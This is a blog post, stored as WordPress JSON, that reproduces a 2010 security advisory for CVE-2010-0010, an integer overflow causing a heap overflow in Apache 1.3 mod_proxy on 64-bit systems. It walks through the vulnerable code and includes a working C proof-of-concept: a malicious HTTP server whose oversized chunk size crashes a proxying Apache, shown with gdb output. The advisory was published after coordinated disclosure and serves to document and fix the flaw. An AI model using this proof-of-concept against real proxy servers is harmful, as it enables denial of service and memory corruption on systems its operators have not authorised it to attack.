{"id":69,"date":"2010-01-27T16:05:27","date_gmt":"2010-01-27T15:05:27","guid":{"rendered":"http:\/\/blog.pi3.com.pl\/?p=69"},"modified":"2010-01-27T16:05:27","modified_gmt":"2010-01-27T15:05:27","slug":"cve-2010-0010-apache-mod_proxy-vulnerability","status":"publish","type":"post","link":"https:\/\/blog.pi3.com.pl\/?p=69","title":{"rendered":"CVE-2010-0010: Apache mod_proxy vulnerability"},"content":{"rendered":"<p>CVE-2010-0010: Apache mod_proxy vulnerability<\/p>\n<p>After contact with Apache security team i can publish new advisory. This bug exists only in apache 1.3 version in mod_proxy modules, only in 64 bits architecture.<\/p>\n<p>I would like to thanks Colm MacC\u00e1rthaigh &#8211; the guy responsible for contact with me and patch this hole.<\/p>\n<p>Bugfix \ufeffis available in a forthcoming version of Apache 1.3.x.<\/p>\n<p>If you have any question just contact with me. Advisory is avaible <a href=\"http:\/\/site.pi3.com.pl\/adv\/mod_proxy.txt\" target=\"_blank\">here<\/a>:<\/p>\n<pre>Name:                      Mod_proxy from apache 1.3 - Integer overflow which causes heap overflow.\r\nAuthor:                    Adam Zabrocki (&lt;pi3@itsec.pl&gt; or &lt;zabrocki@cern.ch&gt;)\r\nDate:                      Jan 27, 2010\r\n\r\n\r\n   Issue:\r\n\r\nMod_proxy from apache 1.3.xx (tested on latest version - 1.3.41) allows local and remote attackers\r\nto overflow buffer on heap via integer overflow vulnerability.\r\n\r\n\r\n   Description:\r\n\r\nMod_proxy implements a proxy\/cache for Apache. It implements proxying capability for FTP, CONNECT (for SSL),\r\nHTTP\/0.9, HTTP\/1.0, and (as of Apache 1.3.23) HTTP\/1.1. The module can be configured to connect to other\r\nproxy modules for these and other protocols.\r\n\r\n\r\n   Details:\r\n\r\n\r\nLet's look in code:\r\n\r\n\".\/src\/modules\/proxy\/proxy_util.c\"\r\nlong int ap_proxy_send_fb(BUFF *f, request_rec *r, cache_req *c, off_t len, int nowrite, int chunked, size_t recv_buffer_size)\r\n{\r\n\r\n...\r\n    size_t buf_size;\r\n    long remaining = 0;\r\n...\r\n\r\n    for (end_of_chunk = ok = 1; ok;) {\r\n...\r\n        if (chunked) {\r\n            long chunk_start = 0;\r\n            n = 0;\r\n\r\n            \/* start of a new chunk *\/\r\n            if (end_of_chunk) {\r\n                end_of_chunk = 0;\r\n                \/* get the chunk size from the stream *\/\r\n                chunk_start = ap_getline(buf, buf_size, f, 0);    &lt;----------------  [0] reading line from traffic (socket)\r\n                if ((chunk_start &lt;= 0) || ((size_t)chunk_start + 1 &gt;= buf_size) || !ap_isxdigit(*buf)) {\r\n                    n = -1;\r\n                }\r\n                \/* parse the chunk size *\/\r\n                else {\r\n                    remaining = ap_get_chunk_size(buf);           &lt;----------------  [1] convert readed data to 'long' size!\r\n                    if (remaining == 0) { \/* Last chunk indicated, get footers *\/\r\n...\r\n...\r\n                        }\r\n                    }\r\n                    else if (remaining &lt; 0) {\r\n                        n = -1;\r\n                        ap_log_rerror(APLOG_MARK, APLOG_DEBUG|APLOG_NOERRNO, r,\r\n                                      \"proxy: remote protocol error, invalid chunk size\");\r\n                    }\r\n                }\r\n            }\r\n\r\n            \/* read the chunk *\/\r\n            if (remaining &gt; 0) {\r\n                n = ap_bread(f, buf, MIN((int)buf_size, (int)remaining));     &lt;------------- [2] convert 'long' to 'int' !!!!\r\n                if (n &gt; -1) {\r\n                    remaining -= n;\r\n                    end_of_chunk = (remaining == 0);\r\n                }\r\n            }\r\n...\r\n...\r\n}\r\n\r\nOK. We have simple flow in this code:\r\n\r\n-&gt; server read header\r\n-&gt; if it is chunked connection\r\n  -&gt; [0] server will wait and then read data from socket (size of the chunk)\r\n  -&gt; simple check what server received\r\n  -&gt; [1] convert received data to 'long' type\r\n  -&gt; if there is possitive chunk size\r\n     -&gt; [2] directly convert 'long' to 'int' type    &lt;- here is integer overflow bug in amd64 architecture !!!\r\n     -&gt; copy data using converted type\r\n\r\n\r\nVulnerability exists only in 64 bits architectures when server directly convert 'long' type to 'int'.\r\nOn 64 bits architectures:\r\n   long - 8 bytes\r\n   int  - 4 bytes\r\n\r\nWhen we have conversion from 'long' to 'int' in 64 bits architectures, directly is removed lower 4 bytes.\r\n\r\nOK. Let's find calls to this vulnerable function:\r\n.\/src\/modules\/proxy\/proxy_cache.c:            ap_proxy_send_fb(c-&gt;origfp, r, c, c-&gt;len, 1, 0, IOBUFSIZE);\r\n.\/src\/modules\/proxy\/proxy_cache.c:            ap_proxy_send_fb(c-&gt;origfp, r, c, c-&gt;len, 1, 0, IOBUFSIZE);\r\n.\/src\/modules\/proxy\/proxy_cache.c:        ap_proxy_send_fb(c-&gt;origfp, r, c, c-&gt;len, r-&gt;header_only, 0, IOBUFSIZE);\r\n.\/src\/modules\/proxy\/proxy_cache.c:        ap_proxy_send_fb(cachefp, r, NULL, c-&gt;len, 0, 0, IOBUFSIZE);\r\n.\/src\/modules\/proxy\/proxy_ftp.c:            ap_proxy_send_fb(data, r, c, -1, 0, 0, conf-&gt;io_buffer_size);\r\n.\/src\/modules\/proxy\/proxy_http.c:        ap_proxy_send_fb(f, r, c, c-&gt;len, 0, chunked != NULL, \r\n\r\nI was testing mod_proxy for http configuration. How it works in details?\r\n\r\nclient ---------&gt; Server  &lt; -- (mod_proxy_XXX) -- &gt; Other server\r\n                   ^\r\n                   |\r\n                   |\r\n                   -&gt; CACHE (proxy cache)\r\n\r\nProof of Concept which I attached to this advisory causes vulnerability in connection:\r\n                Server &lt; ---- &gt; Other server\r\n... but as we can see (calls to vuln function) probably there is some opportunity\r\nto trigger this vulnerability from CACHE (proxy cache).\r\n\r\nIn real world this vulnerability is dangerous for open proxy servers. In pentesting could be useful\r\nto attack server behind other servers... but... everyone knows probably better vectors :)\r\n\r\n\r\n   Proof of concept\r\n\r\n[root@pi3-test apache]# gdb -q .\/bin\/httpd\r\n(gdb) r -X\r\nStarting program: \/usr\/local\/apache\/bin\/httpd -X\r\n[Sun Dec 27 05:03:19 2009] [alert] httpd: Could not determine the server's fully \r\nqualified domain name, using 127.0.0.1 for ServerName\r\n\r\nProgram received signal SIGSEGV, Segmentation fault.\r\n0x0000003fec682958 in memcpy () from \/lib64\/libc.so.6\r\nMissing separate debuginfos, use: debuginfo-install expat-2.0.1-6.fc11.1.x86_64 \r\nglibc-2.10.1-5.x86_64 nss-softokn-freebl-3.12.4-3.fc11.x86_64\r\n(gdb) bt\r\n#0  0x0000003fec682958 in memcpy () from \/lib64\/libc.so.6\r\n#1  0x000000000043083c in inet_addr ()\r\n#2  0x000000000042a796 in inet_addr ()\r\n#3  0x000000000042975f in inet_addr ()\r\n#4  0x000000000041d8f5 in inet_addr ()\r\n#5  0x0000000000432a29 in inet_addr ()\r\n#6  0x000000000044bc88 in inet_addr ()\r\n#7  0x000000000044bceb in inet_addr ()\r\n#8  0x0000000000441344 in inet_addr ()\r\n#9  0x0000000000441521 in inet_addr ()\r\n#10 0x00000000004416a7 in inet_addr ()\r\n#11 0x0000000000441f5f in inet_addr ()\r\n#12 0x0000000000442820 in inet_addr ()\r\n#13 0x0000003fec61ea2d in __libc_start_main () from \/lib64\/libc.so.6\r\n#14 0x0000000000403399 in inet_addr ()\r\n#15 0x00007fffffffe618 in ?? ()\r\n#16 0x000000000000001c in ?? ()\r\n#17 0x0000000000000002 in ?? ()\r\n#18 0x00007fffffffe87d in ?? ()\r\n#19 0x00007fffffffe899 in ?? ()\r\n#20 0x0000000000000000 in ?? ()\r\n(gdb) x\/i $rip\r\n0x3fec682958 &lt;memcpy+792&gt;:      mov    %r11,0x20(%rdi)\r\n(gdb) i r rdi\r\nrdi            0x6d1fde 7151582\r\n(gdb) i r r11\r\nr11            0x0      0\r\n(gdb)\r\n\r\n\r\nOK. Let's do the same with debug symbols:\r\n\r\n[root@pi3-test apache_1.3.41]# gdb -q .\/src\/httpd \r\n(gdb) r -X\r\nStarting program: \/root\/mod_proxy\/apache_1.3.41\/src\/httpd -X\r\n[Wed Dec 30 17:00:37 2009] [alert] httpd: Could not determine the server's fully \r\nqualified domain name, using 127.0.0.1 for ServerName\r\n\r\nProgram received signal SIGSEGV, Segmentation fault.\r\n0x0000003fec682958 in memcpy () from \/lib64\/libc.so.6\r\nMissing separate debuginfos, use: debuginfo-install expat-2.0.1-6.fc11.1.x86_64 \r\nglibc-2.10.1-5.x86_64 nss-softokn-freebl-3.12.4-3.fc11.x86_64\r\n(gdb) bt\r\n#0  0x0000003fec682958 in memcpy () from \/lib64\/libc.so.6\r\n#1  0x000000000043083c in ap_bread (fb=0x6bb120, buf=0x6bfd98, nbyte=-65536) at buff.c:776\r\n#2  0x000000000042a796 in ap_proxy_send_fb (f=0x6bb120, r=0x6b9960, c=0x6bacc0, len=-1,\r\n    nowrite=0, chunked=1, recv_buffer_size=8192) at proxy_util.c:536\r\n#3  0x000000000042975f in ap_proxy_http_handler (r=0x6b9960, c=0x6bacc0,\r\n    url=0x6bacae \"http:\/\/127.0.0.1\/\", proxyhost=0x0, proxyport=0) at proxy_http.c:636\r\n#4  0x000000000041d8f5 in proxy_handler (r=0x6b9960) at mod_proxy.c:395\r\n#5  0x0000000000432a29 in ap_invoke_handler (r=0x6b9960) at http_config.c:476\r\n#6  0x000000000044bc88 in process_request_internal (r=0x6b9960) at http_request.c:1299\r\n#7  0x000000000044bceb in ap_process_request (r=0x6b9960) at http_request.c:1315\r\n#8  0x0000000000441344 in child_main (child_num_arg=0) at http_main.c:4885\r\n#9  0x0000000000441521 in make_child (s=0x68f0b0, slot=0, now=1262188837) at http_main.c:5000\r\n#10 0x00000000004416a7 in startup_children (number_to_start=5) at http_main.c:5083\r\n#11 0x0000000000441f5f in standalone_main (argc=2, argv=0x7fffffffe608) at http_main.c:5430\r\n#12 0x0000000000442820 in main (argc=2, argv=0x7fffffffe608) at http_main.c:5773\r\n(gdb) up\r\n#1  0x000000000043083c in ap_bread (fb=0x6bb120, buf=0x6bfd98, nbyte=-65536) at buff.c:776\r\n776             memcpy(buf, fb-&gt;inptr, nbyte);\r\n(gdb) print nbyte\r\n$1 = -65536\r\n(gdb) print (unsigned int)nbyte\r\n$2 = 4294901760\r\n(gdb) list\r\n771     #ifdef CHARSET_EBCDIC\r\n772             if (fb-&gt;flags &amp; B_ASCII2EBCDIC)\r\n773                 ascii2ebcdic(buf, fb-&gt;inptr, nbyte);\r\n774             else\r\n775     #endif \/*CHARSET_EBCDIC*\/\r\n776             memcpy(buf, fb-&gt;inptr, nbyte);\r\n777             fb-&gt;incnt = nrd - nbyte;\r\n778             fb-&gt;inptr += nbyte;\r\n779             return nbyte;\r\n780         }\r\n\r\n\r\n--- server.c ---\r\n#include &lt;stdio.h&gt;\r\n#include &lt;stdint.h&gt;\r\n#include &lt;stdlib.h&gt;\r\n#include &lt;string.h&gt;\r\n#include &lt;netinet\/in.h&gt;\r\n#include &lt;pthread.h&gt;\r\n#include &lt;errno.h&gt;\r\n#include &lt;netdb.h&gt;\r\n#include &lt;sys\/socket.h&gt;\r\n#include &lt;sys\/un.h&gt;\r\n#include &lt;sys\/types.h&gt;\r\n#include &lt;sys\/stat.h&gt;\r\n#include &lt;arpa\/inet.h&gt;\r\n#include &lt;unistd.h&gt;\r\n#include &lt;fcntl.h&gt;\r\n\r\n#define PORT 80\r\n#define sys_err(x)                         \\\r\ndo {                                       \\\r\n   fprintf(stderr,\"%s\",x);                 \\\r\n   exit(-1);                               \\\r\n} while(0)\r\n\r\nvoid *parse_me(void *arg);\r\n\r\nint main(int argc, char *argv[]) {\r\n\r\n   int r_sock,connfd,tmp,tmp2;\r\n   struct sockaddr_in saddr;\r\n   pthread_t bo_tak;\r\n   struct stat statbuf;\r\n\r\n   if ( (r_sock = socket(AF_INET, SOCK_STREAM, 0)) == -1)\r\n      sys_err(\"Socket()!\\n\");\r\n\r\n   tmp=sizeof(struct sockaddr_in);\r\n   memset(&amp;saddr,0x0,tmp);\r\n   saddr.sin_family      = PF_INET;\r\n   saddr.sin_port        = htons(PORT);\r\n   saddr.sin_addr.s_addr = htonl(INADDR_ANY);\r\n\r\n   if (bind(r_sock, (struct sockaddr *) &amp;saddr, tmp) == -1)\r\n      sys_err(\"Bind()!\\n\");\r\n\r\n   if ( (listen(r_sock,0x666)) != 0)\r\n      sys_err(\"Listen()!\\n\");\r\n\r\npierw_p:\r\n\r\n   while (1) {\r\n      if ( (connfd=accept(r_sock,(struct sockaddr*)&amp;saddr,(socklen_t *)&amp;tmp)) &lt; 0) {\r\n         if (errno == EINTR)\r\n            goto pierw_p;\r\n         else\r\n            sys_err(\"Accept()!\\n\");\r\n      }\r\n      if ( (tmp2=pthread_create(&amp;bo_tak,NULL,parse_me,(void *)connfd\/*&amp;tymczasowe*\/) != 0))\r\n         sys_err(\"Accept() =&gt; Blad przy tworzeniu watku! Wychodze...\");\r\n   }\r\n}\r\n\r\nvoid *parse_me(void *arg) {\r\n\r\n   int sock = (int)arg;\r\n   char buf[4096];\r\n   char *head = \"HTTP\/1.1 200 OK\\r\\n\"\r\n                \"Date: Sat, 66 Dec 666 23:56:50 GMT\\r\\n\"\r\n                \"Server: pi3 (pi3 OS)\\r\\n\"\r\n                \"X-Powered-By: pi3\\r\\n\"\r\n                \"Connection: close\\r\\n\"\r\n                \"Transfer-Encoding: chunked\\r\\n\"\r\n                \"Content-Type: text\/html; charset=UTF-8\\r\\n\\r\\n\";\r\n\r\n   memset(buf,0x0,4096);\r\n   read(sock,buf,4096);\r\n   write(sock,head,strlen(head));\r\n   write(sock,\"10000000FFFF0000\\n\",17);\r\n   while(1)\r\n      write(sock,\"A\",1);\r\n}\r\n---   EOF    ---\r\n\r\n   Greets\r\n\r\n+) Kochana Ewa :* :)\r\n+) Guys from HISPASEC, snoop, thorkill, Piotr Bania, tmg, guys from isec.pl,\r\n   guys from SecurityReason, #lam3rz@IRCNET and #plhack@IRCNET\r\n+) Colm MacC\u00e1rthaigh from apache security team.\r\n\r\n\r\n   Disclaimer\r\n\r\nThis document and all the information it contains is provided \"as is\",\r\nwithout any warranty. The author is not responsible for the\r\nmisuse of the information provided in this advisory. The advisory is\r\nprovided for educational purposes only.\r\n\r\nPermission is hereby granted to redistribute this advisory, providing\r\nthat no changes are made and that the copyright notices and\r\ndisclaimers remain intact.\r\n\r\n\r\n   Ending words...\r\n\r\nThat's all. I have tested it on\/with latest apache version - 1.3.41.\r\nProbably all versions 1.3.xx are vulnerability.\r\n\r\n- Thanks and Best regards Adam Zabrocki (pi3 \/ pi3ki31ny).\r\n\r\n\r\n   BUGFIX:\r\n\r\nFix is available in a forthcoming version of Apache 1.3.x.\r\n\r\n\r\n   Disclosure Timeline\r\n\r\n*) 27 Jan,  2010  -  release advisory\r\n...\r\n*) 06 Jan,  2010  -  release patch\r\n...\r\n...\r\n*) 30 Dec,  2009  -  contact with vendor\r\n*) 24 Dec,  2009  -  exploit bug and write advisory\r\n*) 04 Sept, 2009  -  found bug\r\n\r\n--\r\nhttp:\/\/pi3.com.pl\r\n<\/pre>\n","protected":false},"excerpt":{"rendered":"<p>CVE-2010-0010: Apache mod_proxy vulnerability After contact with Apache security team i can publish new advisory. This bug exists only in apache 1.3 version in mod_proxy modules, only in 64 bits architecture. I would like to thanks Colm MacC\u00e1rthaigh &#8211; the guy responsible for contact with me and patch this hole. Bugfix \ufeffis available in a [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_jetpack_memberships_contains_paid_content":false,"footnotes":""},"categories":[1],"tags":[],"class_list":["post-69","post","type-post","status-publish","format-standard","hentry","category-o-wszystkim-i-o-niczym"],"jetpack_featured_media_url":"","jetpack_sharing_enabled":true,"_links":{"self":[{"href":"https:\/\/blog.pi3.com.pl\/index.php?rest_route=\/wp\/v2\/posts\/69","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.pi3.com.pl\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.pi3.com.pl\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.pi3.com.pl\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.pi3.com.pl\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=69"}],"version-history":[{"count":2,"href":"https:\/\/blog.pi3.com.pl\/index.php?rest_route=\/wp\/v2\/posts\/69\/revisions"}],"predecessor-version":[{"id":143,"href":"https:\/\/blog.pi3.com.pl\/index.php?rest_route=\/wp\/v2\/posts\/69\/revisions\/143"}],"wp:attachment":[{"href":"https:\/\/blog.pi3.com.pl\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=69"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.pi3.com.pl\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=69"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.pi3.com.pl\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=69"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}